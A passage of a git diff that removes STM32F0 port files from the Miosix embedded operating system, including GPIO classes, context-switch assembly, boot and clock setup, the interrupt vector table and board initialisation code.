with this program; if not, see * - ***************************************************************************/ - -/* - * Versions: - * 1.0 First release - * 1.1 Made Mode, Gpio and GpioBase contructor private to explicitly disallow - * creating instances of these classes. - * 1.2 Fixed a bug - * 1.3 Applied patch by Lee Richmond (http://pastebin.com/f7ae1a65f). Now - * mode() is inlined too. - * 1.4 Added GpioPin for easily passing a Gpio as a parameter to a function - */ - -#ifndef STM32F1_GPIO_H -#define STM32F1_GPIO_H - -#include "interfaces/arch_registers.h" - -namespace miosix { - -/** - * This class just encapsulates the Mode_ enum so that the enum names don't - * clobber the global namespace. - */ -class Mode -{ -public: - /** - * GPIO mode (INPUT, OUTPUT, ...) - * \code pin::mode(Mode::INPUT);\endcode - */ - enum Mode_ - { - INPUT = 0x4, ///Floating Input (CNF=01 MODE=00) - INPUT_PULL_UP_DOWN = 0x8, ///Pullup/Pulldown Input (CNF=10 MODE=00) - INPUT_ANALOG = 0x0, ///Analog Input (CNF=00 MODE=00) - OUTPUT = 0x3, ///Push Pull 50MHz Output (CNF=00 MODE=11) - OUTPUT_10MHz = 0x1, ///Push Pull 10MHz Output (CNF=00 MODE=01) - OUTPUT_2MHz = 0x2, ///Push Pull 2MHz Output (CNF=00 MODE=10) - OPEN_DRAIN = 0x7, ///Open Drain 50MHz Output (CNF=01 MODE=11) - OPEN_DRAIN_10MHz = 0x5, ///Open Drain 10MHz Output (CNF=01 MODE=01) - OPEN_DRAIN_2MHz = 0x6, ///Open Drain 2MHz Output (CNF=01 MODE=10) - ALTERNATE = 0xb, ///Alternate function 50MHz (CNF=10 MODE=11) - ALTERNATE_10MHz = 0x9, ///Alternate function 10MHz (CNF=10 MODE=01) - ALTERNATE_2MHz = 0xa, ///Alternate function 2MHz (CNF=10 MODE=10) - ALTERNATE_OD = 0xf, ///Alternate Open Drain 50MHz (CNF=11 MODE=11) - ALTERNATE_OD_10MHz = 0xd, ///Alternate Open Drain 10MHz (CNF=11 MODE=01) - ALTERNATE_OD_2MHz = 0xe ///Alternate Open Drain 2MHz (CNF=11 MODE=10) - }; -private: - Mode(); //Just a wrapper class, disallow creating instances -}; - -template= 8> -struct GpioMode -{ - inline static void mode(Mode::Mode_ m) - { - reinterpret_cast(P)->CRH &= ~(0xf<<((N-8)*4)); - reinterpret_cast(P)->CRH |= m<<((N-8)*4); - } -}; - -template -struct GpioMode -{ - inline static void mode(Mode::Mode_ m) - { - reinterpret_cast(P)->CRL &= ~(0xf<<(N*4)); - reinterpret_cast(P)->CRL |= m<<(N*4); - } -}; - -/** - * This class allows to easiliy pass a Gpio as a parameter to a function. - * Accessing a GPIO through this class is slower than with just the Gpio, - * but is a convenient alternative in some cases. Also, an instance of this - * class occupies a few bytes of memory, unlike the Gpio class. - */ -class GpioPin -{ -public: - /** - * Constructor - * \param p GPIOA_BASE, GPIOB_BASE, ... as #define'd in stm32f10x.h - * \param n which pin (0 to 15) - */ - GpioPin(unsigned int p, unsigned char n) - : p(reinterpret_cast(p)), n(n) {} - - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - void mode(Mode::Mode_ m); - - /** - * Set the pin to 1, if it is an output - */ - void high() - { - p->BSRR= 1<BRR= 1<IDR & 1<(p); } - - /** - * \return the pin number, from 0 to 15 - */ - unsigned char getNumber() const { return n; } - -private: - GPIO_TypeDef *p; //Pointer to the port - unsigned char n; //Number of the GPIO within the port -}; - -/** - * Gpio template class - * \param P GPIOA_BASE, GPIOB_BASE, ... as #define'd in stm32f10x.h - * \param N which pin (0 to 15) - * The intended use is to make a typedef to this class with a meaningful name. - * \code - * typedef Gpio green_led; - * green_led::mode(Mode::OUTPUT); - * green_led::high();//Turn on LED - * \endcode - */ -template -class Gpio -{ -public: - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - static void mode(Mode::Mode_ m) - { - GpioMode::mode(m); - } - - /** - * Set the pin to 1, if it is an output - */ - static void high() - { - reinterpret_cast(P)->BSRR= 1<(P)->BRR= 1<(P)->IDR & 1< * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index d290acc03..000000000 --- a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f0xx.h before core_cm0.h, there's some nasty dependency -#include "CMSIS/Device/ST/STM32F0xx/Include/stm32f0xx.h" -#include "CMSIS/Include/core_cm0.h" -#include "CMSIS/Device/ST/STM32F0xx/Include/system_stm32f0xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/delays.cpp deleted file mode 100644 index c0d1247eb..000000000 --- a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,67 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - #ifdef SYSCLK_FREQ_32MHz - register const unsigned int count=4000; - #else - #error "Delays are uncalibrated for this clock frequency" - #endif - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/portability.cpp deleted file mode 100644 index fd0448aff..000000000 --- a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - miosix::Thread::IRQstackOverflowCheck(); - miosix::Scheduler::IRQfindNextThread(); -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -void IRQportableStartKernel() -{ - NVIC_SetPriority(SVC_IRQn,3);//High priority for SVC (Max=0, min=15) - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not mathced - //by a call to disableInterrupts() - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 00e61e62d..000000000 --- a/miosix/arch/cortexM0_stm32f0/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,162 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ - -#define saveContext() \ - asm volatile("push {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0!, {r1,r4-r7} \n\t" /*save PROCESS sp + r4-r7*/ \ - "mov r4, r8 \n\t" \ - "mov r5, r9 \n\t" \ - "mov r6, r10 \n\t" \ - "mov r7, r11 \n\t" \ - "stmia r0!, {r4-r7} \n\t" \ - "dmb \n\t" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ - -#define restoreContext() \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0!, {r1,r4-r7} \n\t" /*pop r8-r11 saving in r4-r7*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia r0, {r0-r3} \n\t" \ - "mov r8, r0 \n\t" \ - "mov r9, r1 \n\t" \ - "mov r10, r2 \n\t" \ - "mov r11, r3 \n\t" \ - "pop {pc} \n\t" /*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/core/stage_1_boot.cpp b/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/core/stage_1_boot.cpp deleted file mode 100644 index 7c7d85538..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,270 +0,0 @@ -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -void setupClockTree() -{ - static_assert(HSE_VALUE==8000000,"Unsupported HSE oscillator frequency"); - static_assert(SYSCLK_FREQ_32MHz==32000000,"Unsupported target SYSCLK"); - - // Check if PLL is used as system clock - if ((RCC->CFGR & RCC_CFGR_SWS) == RCC_CFGR_SWS_PLL) - { - // Select HSI as system clock - RCC->CFGR = (RCC->CFGR & (uint32_t)~RCC_CFGR_SW) | RCC_CFGR_SW_HSI; - while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_HSI) {} - } - // Disable PLL - RCC->CR &= (uint32_t)~RCC_CR_PLLON; - while(RCC->CR & RCC_CR_PLLRDY) {} - - // Enable HSE with bypass - RCC->CR |= RCC_CR_HSEON | RCC_CR_HSEBYP; - while((RCC->CR & RCC_CR_HSERDY) == 0) {} - - // Set flash latency to 1 wait state - FLASH->ACR |= FLASH_ACR_LATENCY; - - // Set PLL multiplier to 12 (HSE is 8MHz, gives 96MHz) and divider by 3 - RCC->CFGR2 = RCC_CFGR2_PREDIV_DIV3; - RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLMUL)) | (RCC_CFGR_PLLMUL12); - // Set PLL source - RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_PLLSRC)) | RCC_CFGR_PLLSRC_HSE_PREDIV; - // Enable PLL - RCC->CR |= RCC_CR_PLLON; - while ((RCC->CR & RCC_CR_PLLRDY) == 0) {} - - // Set PLL as system clock - RCC->CFGR |= RCC_CFGR_SW_PLL; - while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL) {} -} - - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M0 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - - SystemInit(); - setupClockTree(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movs r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0","cc"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -// These system handlers are present in Miosix but not supported by the -// architecture, so are defined as weak -// void __attribute__((weak)) MemManage_Handler(); -// void __attribute__((weak)) BusFault_Handler(); -// void __attribute__((weak)) UsageFault_Handler(); -// void __attribute__((weak)) DebugMon_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_VDDIO2_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_CRS_IRQHandler(); -void __attribute__((weak)) EXTI0_1_IRQHandler(); -void __attribute__((weak)) EXTI2_3_IRQHandler(); -void __attribute__((weak)) EXTI4_15_IRQHandler(); -void __attribute__((weak)) TSC_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_5_6_7_IRQHandler(); -void __attribute__((weak)) ADC1_COMP_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_UP_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) TIM14_IRQHandler(); -void __attribute__((weak)) TIM15_IRQHandler(); -void __attribute__((weak)) TIM16_IRQHandler(); -void __attribute__((weak)) TIM17_IRQHandler(); -void __attribute__((weak)) I2C1_IRQHandler(); -void __attribute__((weak)) I2C2_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_4_IRQHandler(); -void __attribute__((weak)) CEC_CAN_IRQHandler(); -void __attribute__((weak)) USB_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - WWDG_IRQHandler, /* Window WatchDog */ - PVD_VDDIO2_IRQHandler, /* PVD and VDDIO2 through EXTI Line detect */ - RTC_IRQHandler, /* RTC through the EXTI line */ - FLASH_IRQHandler, /* FLASH */ - RCC_CRS_IRQHandler, /* RCC and CRS */ - EXTI0_1_IRQHandler, /* EXTI Line 0 and 1 */ - EXTI2_3_IRQHandler, /* EXTI Line 2 and 3 */ - EXTI4_15_IRQHandler, /* EXTI Line 4 to 15 */ - TSC_IRQHandler, /* TSC */ - DMA1_Channel1_IRQHandler, /* DMA1 Channel 1 */ - DMA1_Channel2_3_IRQHandler, /* DMA1 Channel 2 and Channel 3 */ - DMA1_Channel4_5_6_7_IRQHandler, /* DMA1 Channel 4, Channel 5, Channel 6 and Channel 7*/ - ADC1_COMP_IRQHandler, /* ADC1, COMP1 and COMP2 */ - TIM1_BRK_UP_TRG_COM_IRQHandler, /* TIM1 Break, Update, Trigger and Commutation */ - TIM1_CC_IRQHandler, /* TIM1 Capture Compare */ - TIM2_IRQHandler, /* TIM2 */ - TIM3_IRQHandler, /* TIM3 */ - TIM6_DAC_IRQHandler, /* TIM6 and DAC */ - TIM7_IRQHandler, /* TIM7 */ - TIM14_IRQHandler, /* TIM14 */ - TIM15_IRQHandler, /* TIM15 */ - TIM16_IRQHandler, /* TIM16 */ - TIM17_IRQHandler, /* TIM17 */ - I2C1_IRQHandler, /* I2C1 */ - I2C2_IRQHandler, /* I2C2 */ - SPI1_IRQHandler, /* SPI1 */ - SPI2_IRQHandler, /* SPI2 */ - USART1_IRQHandler, /* USART1 */ - USART2_IRQHandler, /* USART2 */ - USART3_4_IRQHandler, /* USART3 and USART4 */ - CEC_CAN_IRQHandler, /* CEC and CAN */ - USB_IRQHandler /* USB */ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_VDDIO2_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_CRS_IRQHandler = Default_Handler -#pragma weak EXTI0_1_IRQHandler = Default_Handler -#pragma weak EXTI2_3_IRQHandler = Default_Handler -#pragma weak EXTI4_15_IRQHandler = Default_Handler -#pragma weak TSC_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_5_6_7_IRQHandler = Default_Handler -#pragma weak ADC1_COMP_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_UP_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak TIM14_IRQHandler = Default_Handler -#pragma weak TIM15_IRQHandler = Default_Handler -#pragma weak TIM16_IRQHandler = Default_Handler -#pragma weak TIM17_IRQHandler = Default_Handler -#pragma weak I2C1_IRQHandler = Default_Handler -#pragma weak I2C2_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_4_IRQHandler = Default_Handler -#pragma weak CEC_CAN_IRQHandler = Default_Handler -#pragma weak USB_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/interfaces-impl/bsp.cpp deleted file mode 100644 index e4488b016..000000000 --- a/miosix/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,131 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | - RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | - RCC_AHBENR_GPIOFEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xffffffff; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xffffffff; - GPIOC->OSPEEDR=0xffffffff; - GPIOD->OSPEEDR=0xffffffff; - GPIOF->OSPEEDR=0xffffffff; - led1::mode(Mode::OUTPUT); - led2::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
